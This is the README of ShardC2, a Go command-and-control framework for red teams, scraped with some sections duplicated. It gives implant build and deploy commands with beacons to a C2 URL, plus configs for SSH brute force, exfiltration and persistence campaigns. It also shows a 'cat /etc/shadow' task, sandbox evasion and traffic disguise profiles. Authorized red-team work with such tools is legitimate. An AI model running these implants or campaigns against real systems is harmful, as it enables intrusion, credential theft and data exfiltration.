hett-patell/ShardC2
GitHub: hett-patell/ShardC2
ShardC2 是一个用 Go 编写的模块化 C2 框架,提供 HTTPS 植入、多阶段战役引擎和实时操作面板,用于授权红队的命令与控制操作。
Stars: 4 | Forks: 0
# ShardC2
[](https://github.com/hett-patell/ShardC2/releases)
[](LICENSE)
[](#disclaimer)
[](https://goreportcard.com/report/github.com/hett-patell/ShardC2)
用 Go 构建的模块化命令与控制框架,用于授权的红队行动和安全研究。ShardC2 管理被控主机上的植入程序,编排多阶段攻击战役,并提供实时操作员仪表盘——所有操作均由安全策略控制,将范围限制在授权目标内。
## 目录
- [工作原理](#how-it-works)
- [架构](#architecture)
- [安装设置](#setup)
- [仪表盘](#dashboard)
- [战役](#campaigns)
- [安全策略](#safety-policy)
- [可变形 C2 配置文件](#malleable-c2-profiles)
- [服务器配置参考](#server-configuration-reference)
- [Agent 配置参考](#agent-configuration-reference)
- [API 参考](#api-reference)
- [数据库](#database)
- [安全模型](#security-model)
- [开发](#development)
- [免责声明](#disclaimer)
- [许可证](#license)
## 工作原理
ShardC2 基于 **服务器 → Agent → 目标** 模型运行:
1. **服务器** 运行在你的攻击基础设施上。它托管 REST API、战役引擎、操作员仪表盘和 Agent 二进制文件分发。
2. **Agent** 是部署到被控主机的轻量级植入程序。它们按可配置的时间间隔回连服务器,获取待处理命令,执行命令并报告结果。
3. **战役** 是自动化的多步骤操作(侦察、暴力破解、数据窃取、持久化),由引擎分发到各个 Agent 并跟踪直至完成。
### 攻击链示例
典型的横向移动流程:
```
Operator creates BRUTE campaign targeting 10.0.0.0/24
↓
Engine generates SSH brute-force tasks (server-side or via agents)
↓
Credential found: admin@10.0.0.15:22
↓
Engine auto-deploys agent to 10.0.0.15 via SSH
↓ (detects arch → downloads correct binary → runs with implant key)
New agent registers, appears in dashboard
↓
Operator runs RECON campaign on new agent (privesc, secrets, lateral targets)
↓
Discovered SSH keys → next hop targets → repeat
```
### Agent 生命周期
```
Agent starts → sandbox check → TLS setup → register with C2
↓
Beacon loop:
sleep(interval ± jitter)
POST /beacon (heartbeat, system info)
GET /commands (fetch pending)
execute commands locally
POST /result (return output)
↓
Kill date reached → self-terminate
```
## 架构
### 目录结构
```
shardc2/
├── cmd/
│ ├── server/ # C2 server entry point (CLI flags, TLS, config)
│ ├── agent/ # Implant entry point (beacon, embedded config)
│ └── bruteforcer/ # Standalone brute force tool
├── internal/
│ ├── server/
│ │ ├── handlers/ # REST API — bots, commands, campaigns, creds, exfil, operators, builds
│ │ ├── middleware/ # Auth (JWT, HMAC, implant key), payload encryption
│ │ ├── engine/ # Campaign engine — recon, brute, exfil, persist, custom task generators
│ │ ├── audit/ # Operator action audit logging
│ │ ├── builds/ # Cross-compile agent build pipeline
│ │ └── report/ # Campaign evidence/report export (Markdown)
│ ├── agent/ # Agent core — beacon loop, sandbox evasion, persistence, SOCKS5 proxy
│ ├── database/ # PostgreSQL connection pool + migration runner
│ └── testutil/ # Test database & HTTP helpers
├── pkg/
│ ├── crypto/ # AES-256-GCM encryption, HMAC-SHA256 signing, XOR string obfuscation
│ ├── policy/ # Safety policy engine — CIDR scope validation, safe mode
│ ├── profiles/ # Malleable C2 profiles — default, CloudFront, WordPress
│ ├── transport/ # Agent-server protocol types (register, beacon, command, result)
│ ├── plugins/ # Plugin manifest loader & validator
│ ├── client/ # Go operator SDK (programmatic C2 access)
│ └── models/ # Shared types — Bot, Command, Campaign, Credential, Build, AuditEvent
├── migrations/ # PostgreSQL schema (001-013)
├── web/dashboard/ # Operator SPA — HTML/CSS/JS with WebSocket real-time updates
├── wordlists/ # Bundled credential wordlists
├── docs/api/ # OpenAPI specification
├── Makefile # Build, test, deploy, cross-compile targets
├── docker-compose.yml # PostgreSQL + Redis dev environment
└── policy.json # Safety policy configuration
```
## 安装设置
### 前置条件
- **Go 1.21+**
- **Docker & Docker Compose**(用于 PostgreSQL)
- **Make**
### 1. 启动数据库
```
make docker-up
```
启动 PostgreSQL 15,监听端口 5432(用户:`shardc2`,密码:`shardc2_secret`,数据库:`shardc2`)。
### 2. 生成 TLS 证书
```
make generate-cert
```
创建自签名证书 `server.crt` 和私钥 `server.key`(ECDSA P-256,有效期 1 年)。
### 3. 构建二进制文件
```
make build
```
生成:
- `bin/shardc2-server` — C2 服务器
- `bin/shardc2-agent` — 植入二进制文件(宿主机架构)
- `bin/shardc2-brute` — 独立暴力破解工具
### 4. 启动服务器
```
./bin/shardc2-server \
--addr :8443 \
--tls-cert server.crt \
--tls-key server.key \
--implant-key your-implant-key \
--jwt-secret your-jwt-secret \
--c2-url https://YOUR_IP:8443 \
--policy-file policy.json \
--migrate
```
**关键参数:**
- `--implant-key` 和 `--jwt-secret` — 必须显式设置。如果省略,服务器每次重启时生成随机值,这将使所有 Agent 认证和操作员 JWT 失效。
- `--c2-url` — 服务器的外部可访问 URL。自动部署需要此参数(Agent 从此 URL 下载其二进制文件)。
- `--migrate` — 启动时运行 PostgreSQL 模式迁移。
服务器首次运行时会打印一个 **引导令牌**。请保存它。
### 5. 创建管理员操作员
```
curl -sk -X POST \
-H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"your-password","role":"admin"}' \
https://localhost:8443/api/v1/operators
```
引导令牌是一次性使用的——一旦管理员创建成功,该令牌即被禁用。
### 6. 部署 Agent
```
./bin/shardc2-agent \
--server https://YOUR_C2_IP:8443 \
--implant-key your-implant-key \
--interval 30s \
--jitter 5s \
--insecure-tls-for-lab-only
```
Agent 向服务器注册,出现在仪表盘中,并开始回连。
生产环境中,请将 `--insecure-tls-for-lab-only` 替换为 `--ca-cert your-ca.pem`。
### 7. 访问仪表盘
打开 `https://YOUR_IP:8443/dashboard/`,使用管理员凭据登录。
## 仪表盘
操作员仪表盘是一个单页应用,包含七个功能区:
| 功能区 | 功能说明 |
|--------|----------|
| **概览** | 实时统计(活跃植入数、待处理命令数、战役数)、活动动态、环形图 |
| **植入** | 完整的植入列表,包括主机名、IP、平台、用户、权限级别、标签。点击可查看详情或打开终端 |
| **终端** | 任意植入的交互式终端。多 Bot 模式可同时向多个植入发送命令。WebSocket 实时输出 |
| **凭据** | 凭据库——分类存储的秘密信息(密码、API 密钥、令牌、私钥),支持搜索/筛选,点击可显示明文 |
| **战役** | 创建/启动/跟踪战役。实时进度条、可展开的任务结果输出、重放已完成战役、导出报告(JSON/HTML/MD) |
| **文件** | 远程文件浏览器——浏览任意植入的文件系统,查看权限/所有权,下载文件 |
| **设置** | 系统信息、操作员管理、数据库统计、Agent 构建器/阶段器、账户设置、审计日志 |
## 战役
战役是自动化的多步骤操作,分发至指定的植入程序。战役引擎每 5 秒 tick 一次,生成任务,同步结果,并跟踪进度。
### 战役类型
#### 侦察——失陷后信息收集
在被控主机上运行基于 shell 的侦察模块。共有 13 个可用模块:
| 模块 | 收集内容 |
|------|----------|
| `sysinfo` | 主机名、内核、操作系统、内存、磁盘、CPU、虚拟化、安全态势 |
| `network` | 接口、路由、DNS、监听端口、连接、ARP、iptables、VPN/隧道 |
| `users` | 当前用户、已登录用户、登录历史、passwd、shadow、sudoers、组成员关系 |
| `software` | 安全相关软件包、编译器/开发工具、运行中的服务、PATH 中可写的脚本 |
| `cloud` | AWS/GCP/Azure/DO 元数据、IAM 角色、服务账号令牌、用户数据、本地云配置 |
| `containers` | Docker 检测、socket 访问、运行中的容器、K8s pods/secrets/service accounts |
| `sensitive_files` | 私钥、配置文件、bash 历史(密码 grep)、SSH 配置、git 凭据、全局可读配置 |
| `internal_network` | 子网 ping 扫描、存活邻居端口扫描(22, 80, 443, 3306, 5432, 6379, 8080, 8443, 27017, 9200) |
| `privesc` | SUID/SGID 二进制文件、能力、sudo NOPASSWD、可写的 passwd/shadow、docker/lxd 组、内核版本、可写的 PATH |
| `secrets` | SSH 私钥(内容)、历史记录中的秘密、.env 文件、数据库连接串、进程命令行秘密、/proc/environ、浏览器凭据、GPG 密钥 |
| `lateral_targets` | SSH known_hosts、SSH 配置中的主机、authorized_keys、数据库主机配置、活动连接、NFS/SMB 共享、Ansible/Puppet/Salt 清单 |
| `persistence_check` | 所有 crontab、cron 目录、非默认 systemd 服务、rc.local、init.d、profile 脚本、LD_PRELOAD、内核模块、timer、SSHD 配置 |
| `process_inspect` | 进程树、命令行秘密、监听服务详情、有趣的文件、网络 socket、screen/tmux 会话 |
**配置:**
```
{
"modules": ["sysinfo", "privesc", "secrets", "lateral_targets"]
}
```
#### 暴力破解——SSH 凭据攻击
两种模式:
- **横向** — 将暴力破解 shell 脚本分发到失陷 Agent(Agent 攻击内部目标)
- **外部** — 服务端 SSH 暴力破解(服务器直接连接目标,无需 Bot)
发现凭据后,引擎自动执行以下操作:
1. 将凭据存储到保险库
2. SSH 登录目标,检测架构
3. 下载正确的 Agent 二进制文件(amd64/arm64)
4. 以植入密钥启动 Agent
**配置:**
```
{
"mode": "external",
"targets": ["10.0.0.0/24", "192.168.1.50"],
"ports": [22],
"usernames": ["root", "admin", "ubuntu"],
"passwords": ["password", "admin123"],
"use_db_creds": true,
"workers": 20
}
```
#### 数据窃取——数据外传
搜索目标并上传匹配的文件。
**配置:**
```
{
"patterns": ["*.pdf", "*.docx", "*.xlsx"],
"paths": ["/home", "/opt"],
"max_file_size": "5M"
}
```
#### 持久化——安装持久化机制
部署持久化机制(cron、systemd、bashrc、rc.local),使用随机文件名和逼真的服务名。
**配置:**
```
{
"methods": ["cron", "systemd", "bashrc"]
}
```
#### 自定义——任意命令
在指定植入上执行任意 shell 命令。
**配置:**
```
{
"command": "cat /etc/shadow"
}
```
## 安全策略
ShardC2 通过 JSON 策略文件强制执行范围限制。这可以防止意外(或未授权)攻击超出范围的系统。
```
{
"safe_mode": true,
"allow_external_brute": false,
"allow_auto_deploy": false,
"allowed_cidrs": ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"],
"allowed_hosts": ["lab-target.internal"],
"blocked_cidrs": ["10.0.0.1/32"]
}
```
| 字段 | 作用 |
|------|------|
| `safe_mode` | 服务器重启时暂停所有正在运行的战役 |
| `allow_external_brute` | 允许服务端 SSH 暴力破解 |
| `allow_auto_deploy` | 允许自动向破解目标部署 Agent |
| `allowed_cidrs` | 战役目标必须属于这些范围 |
| `allowed_hosts` | 明确允许作为目标的主机名 |
| `blocked_cidrs` | 这些范围内的目标总是被拒绝(覆盖允许列表 |
仪表盘会显示一个 **安全模式** 横幅,并显示当前活动的策略限制。
## 可变形 C2 配置文件
配置文件通过重新映射端点、User-Agent 字符串和头部信息,将 Agent 流量伪装成合法的 HTTP 服务。
| 配置文件 | 伪装成 | Beacon 路径 | User-Agent |
|---------|--------|-------------|------------|
| `default` | 标准 API | `/api/v1/agent/beacon` | Mozilla/5.0 |
| `cloudfront` | Amazon CDN | `/cdn-cgi/analytics` | Amazon CloudFront |
| `wordpress` | WordPress API | `/wp-json/wp/v2/posts` | WordPress/6.4 |
在服务器和 Agent 上同时使用 `--profile cloudfront`。自定义配置文件可以定义为 JSON 文件。
## 服务器配置参考
| 参数 | 环境变量 | 默认值 | 说明 |
|------|---------|--------|------|
| `--addr` | | `:8443` | 监听地址 |
| `--db` | `SHARDC2_DB` | `postgres://shardc2:shardc2_secret@localhost:5432/shardc2?sslmode=disable` | PostgreSQL DSN |
| `--migrate` | | `false` | 运行模式迁移 |
| `--bootstrap-token` | `SHARDC2_BOOTSTRAP_TOKEN` | (自动生成) | 初始管理员创建令牌 |
| `--implant-key` | `SHARDC2_IMPLANT_KEY` | (自动生成) | Agent 认证密钥 |
| `--jwt-secret` | `SHARDC2_JWT_SECRET` | (自动生成) | JWT 签名密钥 |
| `--payload-key` | `SHARDC2_PAYLOAD_KEY` | | AES-256-GCM 载荷加密密钥(十六进制,32 字节) |
| `--c2-url` | `SHARDC2_C2_URL` | | Agent 自动部署的外部 URL |
| `--tls-cert` | | | TLS 证书路径 |
| `--tls-key` | | | TLS 私钥路径 |
| `--profile` | | `default` | 可变形 C2 配置文件 |
| `--policy-file` | `SHARDC2_POLICY_FILE` | | 安全策略 JSON 文件路径 |
## Agent 配置参考
| 参数 | 环境变量 | 默认值 | 说明 |
|------|---------|--------|------|
| `--server` | `SHARDC2_SERVER` | (必需) | C2 服务器 URL |
| `--implant-key` | `SHARDC2_IMPLANT_KEY` | (必需) | 必须与服务器的密钥一致 |
| `--payload-key` | `SHARDC2_PAYLOAD_KEY` | | 载荷加密密钥(必须与服务器一致) |
| `--interval` | | `5m` | Beacon 间隔 |
| `--jitter` | | `60s` | 添加到间隔的最大随机抖动 |
| `--ca-cert` | | | 用于 TLS 验证的 CA 证书 |
| `--kill-date` | `SHARDC2_KILL_DATE` | | 自动终止日期(RFC3339) |
| `--insecure-tls-for-lab-only` | | `false` | 跳过 TLS 验证(仅限实验室) |
| `--profile` | | `default` | 可变形 C2 配置文件(必须与服务器一致) |
| `--daemon` | | `false` | 隐藏 banner 输出 |
| `--ignore-sandbox` | | `false` | 跳过 VM/沙箱检测 |
### 构建嵌入配置的 Agent
```
# 单平台,带嵌入密钥
make agent-deploy SERVER_URL=https://c2.example.com:8443 IMPLANT_KEY=your-key
# 跨平台编译:Linux/Windows/macOS (amd64 + arm64)
make cross-compile SERVER_URL=https://c2.example.com:8443 IMPLANT_KEY=your-key
# 使用 garble 进行混淆构建
make agent-garble SERVER_URL=https://c2.example.com:8443 IMPLANT_KEY=your-key
```
## API 参考
完整 OpenAPI 规范:[`docs/api/openapi.yaml`](docs/api/openapi.yaml)
### 身份认证
- **操作员:** 通过 `POST /api/v1/auth/login` 获取 JWT 令牌
- **Agent:** 注册时使用植入密钥,后续请求使用会话令牌
- **载荷:** 可选的 AES-256-GCM 加密 + HMAC-SHA256 签名
### 关键端点
| 方法 | 路径 | 认证 | 说明 |
|------|------|------|------|
| `POST` | `/api/v1/auth/login` | 无 | 操作员登录 → JWT |
| `GET` | `/api/v1/stats` | JWT | 服务器统计信息 |
| `GET` | `/api/v1/bots` | JWT | 列出所有 Agent |
| `GET` | `/api/v1/bots/:id` | JWT | Agent 详情 |
| `DELETE` | `/api/v1/bots/:id` | JWT | 移除 Agent |
| `POST` | `/api/v1/commands` | JWT | 向 Agent 发送命令 |
| `POST` | `/api/v1/commands/batch` | JWT | 向多个 Agent 发送命令 |
| `GET` | `/api/v1/commands/history/:bot_id` | JWT | 命令历史 |
| `POST` | `/api/v1/campaigns` | JWT | 创建战役 |
| `GET` | `/api/v1/campaigns` | JWT | 列出战役 |
| `POST` | `/api/v1/campaigns/:id/launch` | JWT | 启动战役 |
| `GET` | `/api/v1/campaigns/:id/progress` | JWT | 战役进度 |
| `GET` | `/api/v1/campaigns/:id/results` | JWT | 战役任务结果 |
| `POST` | `/api/v1/campaigns/:id/replay` | JWT | 重放已完成战役 |
| `POST` | `/api/v1/campaigns/validate` | JWT | 空转验证 |
| `GET` | `/api/v1/campaigns/:id/report.md` | JWT | 下载战役报告 |
| `GET` | `/api/v1/credentials` | JWT | 列出凭据(已屏蔽) |
| `GET` | `/api/v1/credentials/:id/reveal` | JWT | 显示密码明文(已审计) |
| `GET` | `/api/v1/exfil` | JWT | 列出已外传文件 |
| `GET` | `/api/v1/exfil/:id` | JWT | 下载已外传文件 |
| `POST` | `/api/v1/builds` | JWT | 请求构建 Agent |
| `GET` | `/api/v1/safety/status` | JWT | 策略状态 |
| `GET` | `/api/v1/agent/binary` | implant/JWT | 下载 Agent 二进制文件 |
| `POST` | `/api/v1/operators` | JWT (admin) | 创建操作员 |
### Go SDK
```
import "github.com/shardc2/shardc2/pkg/client"
c := client.New("https://c2.example.com:8443", jwtToken)
bots, _ := c.ListBots()
stats, _ := c.Stats()
result, _ := c.ValidateCampaign(client.ValidateRequest{
Type: "brute",
Config: `{"targets":["10.0.0.0/24"],"mode":"external"}`,
})
```
## 数据库
PostgreSQL,包含 13 个增量迁移(使用 `--migrate` 自动应用):
| # | 迁移 | 表/变更 |
|---|------|---------|
| 001 | 核心架构 | bots, commands, credentials, exfil_data, keylog, proxies |
| 002 | 身份认证 | bot_tokens(会话令牌) |
| 003 | 战役引擎 | campaigns, campaign_bots, campaign_tasks |
| 004 | Agent 强化 | 指纹去重、kill_date、性能索引 |
| 005 | 命令超时 | commands.timeout 列 |
| 006 | 操作员 RBAC | operators 表,包含角色(admin/operator/view) |
| 007 | 审计日志 | audit_events 表 |
| 008 | Agent 身份 | 公钥、令牌过期 |
| 009 | 战役运行 | campaign_runs 跟踪表 |
| 010 | 构建流水线 | agent_builds 表 |
| 011 | 凭据去重 | credentials 表唯一性约束 |
| 012 | 凭据分类 | credential vault 的 category/source 列 |
| 013 | Bot 标签 | 植入标签支持 |
## 安全模型
| 层级 | 机制 |
|------|------|
| **传输层** | TLS(自签名或 CA),通过 `--ca-cert` 进行显式证书固定 |
| **载荷层** | AES-256-GCM 加密 + HMAC-SHA256 签名(可选,通过 `--payload-key` 启用) |
| **Agent 认证** | 注册时使用植入密钥,后续请求使用每个 Agent 的会话令牌 |
| **操作员认证** | JWT + RBAC(admin, operator, viewer)。引导令牌用于初始设置 |
| **范围控制** | 安全策略,包含 CIDR 允许/阻止列表,安全模式 |
| **审计** | 所有敏感操作员操作均记录用户名、IP、操作、结果 |
| **Agent OpSec** | 沙箱/VM 检测、kill_date、可配置的 Beacon 抖动、可变形配置文件 |
| **速率限制** | 登录:5/min、操作员路由:600/min、Agent 路由:60/min |
## 开发
```
make docker-up # Start PostgreSQL
make build # Build all binaries
make test # Run tests with race detector
go vet ./... # Static analysis
go test -race ./... # Tests with race detection
```
### 运行测试
```
# 单元测试(无需数据库)
go test ./...
# 集成测试(需要 PostgreSQL)
export SHARDC2_TEST_DB="postgres://shardc2:shardc2_secret@localhost:5432/shardc2?sslmode=disable"
go test ./...
```
### 项目统计
- **72 个 Go 源文件**,分布在 cmd/、pkg/、internal/
- **21 个测试套件**,涵盖加密、策略、处理程序、中间件、引擎、模型、客户端、构建、审计
- **13 个数据库迁移**
- **3 个可变形 C2 配置文件**
- **13 个侦察模块**、**5 种战役类型**
## 免责声明
ShardC2 专为**授权安全测试、红队行动和安全研究**而构建。仅在拥有所有权或取得明确书面授权的情况下使用。未经授权访问计算机系统是违法的。作者对滥用行为不承担任何责任。
## 许可证
MIT - 详见 [LICENSE](LICENSE)。
## Shard 生态系统
| 仓库 | 用途 |
|---|---|
| [ShardLure](https://github.com/hett-patell/ShardLure) | SSH 蜜罐 + 威胁情报仪表盘 |
| [ShardC2](https://github.com/hett-patell/ShardC2) | 红队 C2 框架(Go 语言) |
| [ShardFlow](https://github.com/hett-patell/ShardFlow) | 二层 LAN 工作台(ARP、丢包、限速) |
| [ShardShell](https://github.com/hett-patell/ShardShell) | PHP 后利用 shell |
| [ShardPass](https://github.com/hett-patell/ShardPass) | 极简 TOTP 认证器(Chrome MV3) |
| [ShardPet](https://github.com/hett-patell/ShardPet) | 像素宝可梦浏览器扩展 |
## 目录
- [工作原理](#how-it-works)
- [架构](#architecture)
- [安装设置](#setup)
- [仪表盘](#dashboard)
- [战役](#campaigns)
- [安全策略](#safety-policy)
- [可变形 C2 配置文件](#malleable-c2-profiles)
- [服务器配置参考](#server-configuration-reference)
- [Agent 配置参考](#agent-configuration-reference)
- [API 参考](#api-reference)
- [数据库](#database)
- [安全模型](#security-model)
- [开发](#development)
- [免责声明](#disclaimer)
- [许可证](#license)
## 工作原理
ShardC2 基于 **服务器 → Agent → 目标** 模型运行:
1. **服务器** 运行在你的攻击基础设施上。它托管 REST API、战役引擎、操作员仪表盘和 Agent 二进制文件分发。
2. **Agent** 是部署到被控主机的轻量级植入程序。它们按可配置的时间间隔回连服务器,获取待处理命令,执行命令并报告结果。
3. **战役** 是自动化的多步骤操作(侦察、暴力破解、数据窃取、持久化),由引擎分发到各个 Agent 并跟踪直至完成。
### 攻击链示例
典型的横向移动流程:
```
Operator creates BRUTE campaign targeting 10.0.0.0/24
↓
Engine generates SSH brute-force tasks (server-side or via agents)
↓
Credential found: admin@10.0.0.15:22
↓
Engine auto-deploys agent to 10.0.0.15 via SSH
↓ (detects arch → downloads correct binary → runs with implant key)
New agent registers, appears in dashboard
↓
Operator runs RECON campaign on new agent (privesc, secrets, lateral targets)
↓
Discovered SSH keys → next hop targets → repeat
```
### Agent 生命周期
```
Agent starts → sandbox check → TLS setup → register with C2
↓
Beacon loop:
sleep(interval ± jitter)
POST /beacon (heartbeat, system info)
GET /commands (fetch pending)
execute commands locally
POST /result (return output)
↓
Kill date reached → self-terminate
```
## 架构
标签:C2框架, Go语言, HTTPS, mTLS, Web操作面板, 云资产清单, 命令与控制, 安全学习资源, 底层编程, 授权使用, 攻击基础设施, 攻击活动引擎, 数据展示, 日志审计, 植入物, 模块化, 测试用例, 程序破解, 红队, 网络信息收集, 网络安全, 网络对抗, 自动化攻击, 请求拦截, 调试插件, 逆向工程, 隐私保护